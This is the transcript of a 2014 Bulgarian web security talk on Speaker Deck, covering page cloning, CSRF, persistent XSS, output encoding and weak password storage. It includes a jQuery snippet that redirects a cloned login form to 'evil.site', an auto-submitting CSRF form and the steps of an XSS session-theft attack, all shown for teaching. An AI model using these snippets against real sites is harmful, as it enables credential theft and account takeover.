Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Security

Sponsored · SiteGround - Reliable hosting with speed, security, and support you can count on.

Web Security

Avatar for Georgy Angelov

Georgy Angelov

March 28, 2014
Tweet

More Decks by Georgy Angelov

Other Decks in Programming

Transcript

  1. Ще говоря и за неща, които по принцип са ясни

    и логични, но се оказва, че доста често ги пропускаме.
  2. An attack vector is a path or means by which

    a hacker (or cracker) can gain access to a computer or website in order to deliver a payload or malicious outcome. Attack vectors enable hackers to exploit system vulnerabilities, including the human element.
  3. Дублиране на страници $.get(‘http://website.com/login’, function(html) { $(‘body’).append(html); $(‘form’).attr(‘action’, ‘http://evil.site/login’); });

    Това точно няма да сработи заради Access Control Origin, но ако сървъра зареди html-a всичко ще е наред.
  4. Ще кажете “ама не трябва да е GET” <form action=“http://website.com/user/delete”

    method=“POST”> <input type=“hidden” name=“confirm” value=“1”> </form> <script>$(‘form’).submit();</script>
  5. Persistent XSS 1. Събмитваме текст в някое поле, съдържащ въпросния

    скрипт. 2. Потребител отваря профила ни. 3. Открадваме сесията му. 4. Логваме се с нея. 5. WIN
  6. <h2><%= params.error %></h2> В ERB, EJS и някои други това

    е ОК, защото самия темплейт енджин кодира HTML знаците в текста.
  7. Решението е лесно и ясно &  &amp; < 

    &lt; >  &gt; "  &quot; '  &#x27; /  &#x2F;
  8. “Passwords are never stored in plaintext. At least they shouldn't

    be, unless you're building the world's most insecure system using the world's most naive programmers.” - случаен човек в нета
  9. protected String encodePassword(String password) { String ref = "1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1"; StringBuilder

    result = new StringBuilder(); for (int i = 0; i < password.length(); i ++) { result.append(ref.charAt(ref.indexOf(password.charAt(i)) + 1)); } return result.toString(); }
  10. protected String decodePassword(String password) { String ref = "1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1"; ref

    = new StringBuilder(ref).reverse().toString(); StringBuilder result = new StringBuilder(); for (int i = 0; i < password.length(); i ++) { result.append(ref.charAt(ref.indexOf(password.charAt(i)) + 1)); } return result.toString(); } Java
  11. conseq([X,Y|L], X, Y). conseq([_|L], X, Y) :- conseq(L, X, Y).

    mapNext(Code, [], []). mapNext(Code, [X|L], [Y|LRes]) :- conseq(Code, X, Y), mapNext(Code, L, LRes). ?- string_codes(' 1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1 ', Code), string_codes('123', L), mapNext(Code, L, X), write(X). Prolog
  12. На един по-мощен настолен компютър • MD5 – 8 000

    000 000 пароли в секунда • SHA1 – 3 000 000 000 пароли в секунда • SHA256 – 1 100 000 000 пароли в секунда
  13. Не е fail, но все пак – brute-force от 40

    000 различни IP адреса. https://github.com/blog/1698-weak-passwords-brute-forced